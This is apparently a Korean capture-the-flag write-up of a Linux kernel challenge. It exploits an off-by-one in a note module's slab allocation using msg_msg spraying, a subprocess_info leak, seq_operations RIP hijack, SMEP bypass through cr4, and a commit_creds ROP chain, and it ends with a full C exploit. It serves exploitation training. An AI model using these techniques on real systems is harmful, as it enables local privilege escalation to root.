Keyword : Linux kernel, Slab, off-by-one
#문제 환경 분석
bzImage -> kernel
rootfs.cpio -> file system
start.sh -> shell script for qemu
bzimage
bzimage는 vmlinux을 encapsulate한 파일입니다. kernel debugging을 위해서 bzimage에서 vmlinux파일을 추출해야 합니다. binwalk를 통하여 bzimage에서 vmlinux을 추출할 수 있습니다.
symbols들이 살아나서 함수명으로 디버깅할 수 있습니다.
rootfs.cpio
rootfs.cpio파일은 file system을 저장한 파일입니다. 이 파일을 수정한 후 start.sh을 실행하면, qemu가 수정된 파일 시스템으로 부팅됩니다.
unpack하기
mkdir tmp;cd tmp;
cpio -idv < ../rootfs.cpio
repack하기
cpio -H newc -o > ../rootfs.cpio;
exploit 코드를 짜려면 코드를 수정해야 할 일이 많습니다. 매번 명령어를 치기 귀찮으면 아래의 스크립트는 repack.sh파일로 저장하여 사용하면 편합니다.
cd tmp; vim ex.c; gcc -masm=intel -o ex ex.c --static; find . | cpio -H newc -o > ../rootfs.cpio; cd ../
start.sh
앞서 봤던 bzimage, rootfs.cpio와 qemu를 통해 가상환경을 부팅하는 스크립트입니다.
#!/bin/sh
qemu-system-x86_64 \
-m 256M \
-kernel ./bzImage \
-initrd ./rootfs.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr pti=off quiet" \
-cpu qemu64,+smep \
-monitor /dev/null \
-nographic
Kernel 메모리 보호기법으로 kaslr과 smep이 걸려있는 것을 확인할 수 있습니다. kaslr은 aslr과 마찬가지로 kernel의 주소를 랜덤화하는 보호기법입니다. smep은 CPU가 kernel 권한으로 코드를 실행할 때 Userland에 존재하는 코드를 실행하지 못하게하는 보호기법입니다.
디버깅을 위해 start.sh를 아래와 같이 수정할 수 있습니다. "nokaslr"은 kaslr를 off하라는 옵션입니다. kaslr을 끄면 디버깅이 편해집니다. "-s"는 kernel debugging을 위해서 1234 port를 열라는 명령어입니다. gdb에서 "target remote 0:1234"를 입력하여 kernel debugging을 할 수 있습니다. (kernel debugging을 할 때는 peda보다 pwndbg를 추천합니다. pwndbg 좋아요.)
#!/bin/sh
qemu-system-x86_64 -s \
-m 256M \
-kernel ./bzImage \
-initrd ./new.cpio \
-append "root=/dev/ram rw console=ttyS0 nokaslr oops=panic panic=1 pti=off quiet" \
-cpu qemu64,+smep \
-monitor /dev/null \
-nographic
#취약점 분석
노트를 작성할 수 있는 간단한 커널 모듈입니다. 두가지 취약점이 발생합니다.
signed __int64 __fastcall mod_ioctl(__int64 a1, unsigned int arg2, __int64 buffer_pointer)
{
note buffer; // [rsp+0h] [rbp-18h]
if ( copy_from_user(&buffer, buffer_pointer, 0x10LL) )
return -14LL;
if ( LODWORD(buffer.size) <= 0x80 )
{
mutex_lock(&_mutex); // prevent race condition
if ( arg2 == 0xC12ED002 )
{
if ( !note )
{
LABEL_10:
mutex_unlock(&_mutex);
return -22LL;
}
kfree(note);
*(¬e + 0x20000000) = 0LL; // ida 오류 --> free후 포인터 지우는 거 맞음
}
else if ( arg2 <= 0xC12ED002 )
{
if ( arg2 != 0xC12ED001 )
goto LABEL_10;
if ( note )
kfree(note);
size = buffer.size;
note = _kmalloc(LODWORD(buffer.size), 0x6080C0LL);// 값을 초기화하지 않음
if ( !note )
goto LABEL_10;
}
else if ( arg2 == 0xC12ED003 )
{
if ( !note || LODWORD(buffer.size) > size || copy_from_user(note, buffer.data, LODWORD(buffer.size)) )
goto LABEL_10;
*(_BYTE *)(note + LODWORD(buffer.size)) = 0;// off-by-one
}
else if ( arg2 != 0xC12ED004
|| !note
|| LODWORD(buffer.size) > size
|| copy_to_user(buffer.data, note, LODWORD(buffer.size)) )
{
goto LABEL_10;
}
mutex_unlock(&_mutex);
return 0LL;
}
return -22LL;
}
Slab은 메타데이터가 없기 때문에 off-by-one으로 slab의 single linked list를 바로 덮어쓸 수 있습니다. 이를 통해 같은 청크를 두 번 할당받을 수 있습니다. 예를 들어 kmalloc-128이 아래와 같은 상태일 때, off-by-one으로 linked linked의 마지막 바이트를 덮어써버려서 같은 청크를 두 번 할당받을 수 있습니다.
pwndbg> x/34gx 0xffff88800e359980
0xffff88800e359980: 0x0000000000000000 0x0000000000000000
```생략```
0xffff88800e359a00: 0xffff88800e359a80 0x0000000000000000
```생략```
0xffff88800e359a80: 0xffff88800e359b00 0x0000000000000000
--> Overwrite
pwndbg> x/34gx 0xffff88800e359980
0xffff88800e359980: 0x0000000000000000 0x0000000000000000
```생략```
0xffff88800e359a00: 0xffff88800e359a00 0x0000000000000000--> 0xffff88800e359a00할당 --> 0xffff88800e359a00 할당
```생략```
0xffff88800e359a80: 0xffff88800e359b00 0x0000000000000000
이를 활용하여 note를 할당받은 후 같은 주소에 Linux kernel에서 이용하는 구조체를 할당받을 수 있습니다. 이 경우 note의 내용을 읽거나 수정하는 것을 통해 kernel이 사용하는 구조체의 내용을 읽어거나 수정할 수 있습니다. 다만 note 모듈에서 허용된 사이즈가 0x80 이하이기 때문에 해당 사이즈 이하의 구조체를 사용하는 것이 편합니다. 이때 사용할 수 있는 유용한 kernel 구조체는 msg_msg, subprocess_info, seq_operations입니다.
msg_msg 구조체와 subprocess_info 구조체를 활용하여 kernel base를 Leak할 수 있습니다.
우선 msg_msg 구조체를 통해 Heap spray를 수행합니다. msg_msg의 구조체는 아래와 같습니다.
struct msg_msg {
struct list_head m_list;
long m_type;
size_t m_ts; /* message text size */
struct msg_msgseg *next;
void *security;
/* the actual message follows immediately */
};
Userland에서 msgsnd를 호출하면 ksys_msgsnd가 호출됩니다. ksys_msgsnd는 곧바로 do_msgsnd를 호출합니다. do_msgsnd는 msgsz가 ns->msg_xtlmax보다 작은지 검사합니다. ns->msg_xtlmax는 MSGMAX로 값은 0x2000입니다. 유저가 전달한 size와 text를 인자로 load_msg를 호출합니다.
static long do_msgsnd(int msqid, long mtype, void __user *mtext,
size_t msgsz, int msgflg)
{
struct msg_queue *msq;
struct msg_msg *msg;
int err;
struct ipc_namespace *ns;
DEFINE_WAKE_Q(wake_q);
ns = current->nsproxy->ipc_ns;
if (msgsz > ns->msg_ctlmax || (long) msgsz < 0 || msqid < 0)
return -EINVAL;
if (mtype < 1)
return -EINVAL;
msg = load_msg(mtext, msgsz);
if (IS_ERR(msg))
return PTR_ERR(msg);
```
생략
```
}
Load_msg는 전달받은 len을 인자로 alloc_msg을 호출합니다.
struct msg_msg *load_msg(const void __user *src, size_t len)
{
struct msg_msg *msg;
struct msg_msgseg *seg;
int err = -EFAULT;
size_t alen;
msg = alloc_msg(len);
if (msg == NULL)
return ERR_PTR(-ENOMEM);
```
생략
```
return ERR_PTR(err);
}
alloc_msg는 전달받은 len에 msg_msg 구조체의 크기를 더한 후 kmalloc을 호출합니다. msg_msg 구조체의 크기는 0x30이기 때문에 우리는 msgsnd함수를 통하여 0x30~0x1000 크기에 해당하는 slab에 대하여 Heap spray를 수행할 수 있습니다. 여기서는 kmalloc-128에 할당하는 size를 Heap spray할 것입니다.
static struct msg_msg *alloc_msg(size_t len)
{
struct msg_msg *msg;
struct msg_msgseg **pseg;
size_t alen;
alen = min(len, DATALEN_MSG);// DATALEN_MSG=0x1000
msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
if (msg == NULL)
return NULL;
msg->next = NULL;
msg->security = NULL;
len -= alen;
pseg = &msg->next;
while (len > 0) {
struct msg_msgseg *seg;
cond_resched();
alen = min(len, DATALEN_SEG);
seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);// kmalloc 호출
if (seg == NULL)
goto out_err;
*pseg = seg;
seg->next = NULL;
pseg = &seg->next;
len -= alen;
}
return msg;
out_err:
free_msg(msg);
return NULL;
}
msg_msg 구조체를 통하여 kmalloc-128에 Heap spary를 한 후, subprocess_info구조체를 통해서 kernel base를 Leak할 수 있습니다. work_struct는 subprocess_info의 멤버입니다.
struct subprocess_info {
struct work_struct work;
struct completion *complete;
const char *path;
char **argv;
char **envp;
struct file *file;
int wait;
int retval;
pid_t pid;
int (*init)(struct subprocess_info *info, struct cred *new);
void (*cleanup)(struct subprocess_info *info);
void *data;
} __randomize_layout;
struct work_struct {
atomic_long_t data;
struct list_head entry;
work_func_t func;// call_usermodehelper_exec_work
#ifdef CONFIG_LOCKDEP
struct lockdep_map lockdep_map;
#endif
};
work_struct의 멤버인 func은 call_usermodehelper_exec_work를 가리키고 있습니다. 따라서 subprocess_info.work.func를 출력하면 kernel base를 알아낼 수 있습니다.
struct subprocess_info *call_usermodehelper_setup(const char *path, char **argv,
char **envp, gfp_t gfp_mask,
int (*init)(struct subprocess_info *info, struct cred *new),
void (*cleanup)(struct subprocess_info *info),
void *data)
{
struct subprocess_info *sub_info;
sub_info = kzalloc(sizeof(struct subprocess_info), gfp_mask);
if (!sub_info)
goto out;
INIT_WORK(&sub_info->work, call_usermodehelper_exec_work);
```
생략
```
}
#define __INIT_WORK(_work, _func, _onstack) \
do { \
static struct lock_class_key __key; \
\
__init_work((_work), _onstack); \
(_work)->data = (atomic_long_t) WORK_DATA_INIT(); \
lockdep_init_map(&(_work)->lockdep_map, "(work_completion)"#_work, &__key, 0); \
INIT_LIST_HEAD(&(_work)->entry); \
(_work)->func = (_func); \
} while (0)
#else
kaslr을 우회하는 방법을 알았으니 RIP를 컨트롤하는 방법을 알아봅시다. RIP를 컨트롤하기 위해서 seq_operations 구조체를 사용할 수 있습니다. seq_operations 구조체는 seq_file 구조체의 멤버입니다. seq_operations는 4개의 함수 포인터로 이루어져 있습니다. 따라서 seq_operations 구조체의 크기는 0x20이며, 구조체 내의 함수 포인터를 덮어쓴다면 RIP를 컨트롤할 수 있습니다.
struct seq_file {
char *buf;
size_t size;
size_t from;
size_t count;
size_t pad_until;
loff_t index;
loff_t read_pos;
u64 version;
struct mutex lock;
const struct seq_operations *op;
int poll_event;
const struct file *file;
void *private;
};
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
/proc/self/stat파일을 open하여 할당받은 fd를 통해 read를 하면, ksys_read->vfs_read->vm_mmap_pgoff->__vfs_read->tty_ldisc_deref를 거쳐 seq_read함수가 호출됩니다. seq_read 함수 내부에 seq_file->op->start를 이용하여 함수를 호출하는 부분이 있습니다. Heap 관련 취약점으로 op부분이 악의적인 값으로 덮혀있다면 RIP를 컨트롤할 수 있게 됩니다.
ssize_t seq_read(struct file *file, char __user *buf, size_t size, loff_t *ppos)
{
struct seq_file *m = file->private_data;
size_t copied = 0;
size_t n;
void *p;
int err = 0;
mutex_lock(&m->lock);
```
생략
```
p = m->op->start(m, &m->index);//Control rip!!!!!
```
생략
```
}
EXPORT_SYMBOL(seq_read);
Kernel 내부의 구조체를 이용하여 kaslr bypass와 RIP control을 모두 할 수 있습니다. 이후에는 Stack pivoting, set cr4 to bypass smep, return to user 순으로 exploit이 진행됩니다.
Stack pivoting : Userland exploit과 달리 kernel exploit은 공격자가 mmap을 통해 원하는 주소를 임의로 할당받을 수 있다는 특징이 있습니다. 아래 명령어를 통해 esp를 0x10000보다 큰 아무 값으로 변조한 후 ret하는 가젯을 찾습니다. 그후 mmap으로 해당 주소를 할당받고 거기에 ROP chain을 적어서 Fake Stack을 구성합니다.
rp-lin-x64 -f ./vmlinux -r 4|grep -i "esp"
set cr4 to bypass smep : smep과 smap의 설정 여부는 cr4 레지스터를 통해 결정됩니다. 만약 kernel land에서 ROP를 할 수 있다면, native_write_cr4 함수 내에 있는 가젯을 통해 cr4를 0x6f0로 덮어버려서 smep을 무력화할 수 있습니다.
return to user : kernel mode에서 commit_creds 함수와 prepare_kernel_creds 함수를 통해 사용자의 uid를 0으로 세팅한 후 쉘을 띄워야 합니다. 하지만 kernel 모드에서 바로 쉘을 띄울 수는 없습니다. (정하게는 posix_spawn과 같은 방식으로 쉘을 띄울 수는 있지만 return to user 기법보다 번거로운 것으로 알고 있습니다.) 따라서 iretq명령어를 통해 kernel 모드에서 User 모드로 돌아온 후 쉘을 띄워야 합니다. 이때 User 모드의 CS,SS,RIP,rflags 등의 레지스터를 스택을 통해서 복구하기 때문에, 커널모드로 진입하기 전 유저모드의 레지스터들을 저장한 후, ROP chain을 통해 iretq 명령어가 실행될 때 Stack에 해당 레지스터 값들이 있게 해야 합니다.
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/socket.h>
#include<math.h>
#include <sys/mman.h>
#include <stdint.h>
#define new 0xC12ED001
#define remove 0xC12ED002
#define edit 0xC12ED003
#define show 0xC12ED004
char * (*prepare)(int uid)=0xFFFFFFFF81069E00 ;
void (*commit)(char * creds)=0xFFFFFFFF81069C10 ;
//char * (*prepare)(int uid) = 0x52525252525252 ;
//void (*commit)(char * creds) = 0x4141414141414141 ;
struct register_val {
uint64_t user_rip;
uint64_t user_cs;
uint64_t user_rflags;
uint64_t user_rsp;
uint64_t user_ss;
} __attribute__((packed));
struct register_val rv;
void backup_rv(void) {
asm("mov rv+8, cs;"
"pushf; pop rv+16;"
"mov rv+24, rsp;"
"mov rv+32, ss;"
);
}
void shell(){
execl("/bin/sh","sh",NULL);
}
typedef struct _arg{
long size;
char * data;
}_arg;
typedef struct msg{
long type;
char buf[0x80];
}message;
void get_root(){
commit(prepare(0));
}
void main(){
int fd = open("/dev/note",O_RDWR);
if(fd <0 ){
printf("fail to open /dev/note\n");
exit(-1);
}
long cmd=0;
int ret,qid=0;
long base,heap=0;
long tmp=1;
_arg arg;
message msg;
arg.data = malloc(0x10000);
/*
* Heap spray for leak
*/
msg.type=1;
qid = msgget(IPC_PRIVATE,0666|IPC_CREAT);
if(qid<0){
printf("msgget error\n");
exit(-1);
}
for (int i =0 ; i<0x21;i++){
if(msgsnd(qid,&msg,sizeof(msg.buf)-48,0)==-1){
printf("msgsnd error\n");
exit(-1);
}
}
/*Create Note for leak
*/
arg.size = 0x80;
cmd =new ;
ret = ioctl(fd,cmd,&arg);//alloc 0xxxxxxxxxxxxxxxxxxxxxxxxxx00
if(ret < 0){
printf("new error!\n");
exit(-1);
}
/*
* write note
*/
memset(arg.data,'A',0x80);
cmd = edit;
ret = ioctl(fd,cmd,&arg);//Overwrite slab's next pointer
if(ret < 0){
printf("write error\n");
exit(-1);
}
/*
* free note
*/
cmd = remove;
ret = ioctl(fd,cmd,&arg);//avoid crash
if(ret <-1){
printf("kfree error\n");
exit(-1);
}
//flush one chunk in 0x80 size slab
msgsnd(qid,&msg,sizeof(msg.buf)-48,0);
/*
* Alloc same chunk twice
*0xffff88800e359a00: 0xffff88800e359a00 0x0000000000000000--> off-by-one으로 같은 위치에 두 번 alloc
*0xffff88800e359a10: 0x0000000000000000 0x0000000000000000
*0xffff88800e359a20: 0x0000000000000000 0x0000000000000000
*0xffff88800e359a30: 0x0000000000000000 0x0000000000000000
*/
cmd = new;
ret = ioctl(fd,cmd,&arg);
if(ret<0){
printf("alloc error\n");
exit(-1);
}
ret = socket(22, AF_INET, 0);//write kernel base at slab chunk
//Print Note for leak
cmd = show;
ret = ioctl(fd,cmd,&arg);
if(ret <0 ){
printf("show error\n");
}
printf("get uninitialed value\n");
memcpy(&base,arg.data+0x18,8);
printf("leak = %lx\n",base);
base-=0x60160;
printf("kernel base = %lx\n",base);
//Clean up 0x20 slab
for(int i=0;i<0x100+10;i++){
open("/proc/self/stat",O_RDONLY);
}
//Overwreite 0x20 slab
arg.size=0x20;
cmd = new;
ret = ioctl(fd,cmd,&arg);
if(ret<0){
printf("alloc error\n");
exit(-1);
}
/*
* pwndbg> x/12gx 0xffff88800e3874e0
0xffff88800e3874e0: 0x0000000000000000 0x0000000000000000
0xffff88800e3874f0: 0x0000000000000000 0x0000000000000000
0xffff88800e387500: 0xffff88800e387520 0x0000000000000000
0xffff88800e387510: 0x0000000000000000 0x0000000000000000
*/
memset(arg.data,'A',0x20);
arg.size=0x20;
cmd = edit;
ret = ioctl(fd,cmd,&arg);
if(ret<0){
printf("edit fail\n");
exit(-1);
}
cmd = remove;
ret = ioctl(fd,cmd,&arg);
if(ret<0){
printf("remove fail\n");
exit(-1);
}
open("/proc/self/stat",O_RDONLY);//alloc one 0x20 slab
printf("second 0x20\n");
arg.size=0x20;
cmd = new;
ret = ioctl(fd,cmd,&arg);
if(ret<0){
printf("new fail\n");
exit(-1);
}
long pivot = 0xffffffff813572a2;
memcpy(arg.data,&pivot,8);
int fd2 = open("/proc/self/stat",O_RDONLY);
cmd = edit;
ioctl(fd,cmd,&arg);
long * addr = (long *) mmap(0xe853c000, 0x60000, PROT_READ | PROT_WRITE, 0x32 | MAP_POPULATE, -1, 0);
printf("mmap = 0x%lx\n",addr);
backup_rv();
long rop_ret = 0xFFFFFFFF81143C4A;
long pop_rdi = 0xFFFFFFFF8122DD4C;
long cr4 = 0xffffffff8103ee84; //: mov cr4, edi ; pop rbp ; ret ; (1 found)
long swapgs = 0xffffffff8103ef24; // : swapgs ; pop rbp ; ret ; (1 found)
addr[0x102a]=rop_ret; //GET RIP;
/*ROP start*/
int rop=0x94;
addr[rop++]=pop_rdi;
addr[rop++]=0x6f0;
addr[rop++]=cr4;
addr[rop++]=0xdeadbeef;
addr[rop++]=get_root;
addr[rop++]=swapgs;
addr[rop++]=0xdeadbeef;
addr[rop++]=0xffffffff8101d5c6; //: 48 cf iretq
addr[rop++]=&shell;
addr[rop++]=rv.user_cs;
addr[rop++]=rv.user_rflags;
addr[rop++]=rv.user_rsp;
addr[rop++]=rv.user_ss;
//trigger
read(fd2,&arg.data,1);
}

#참조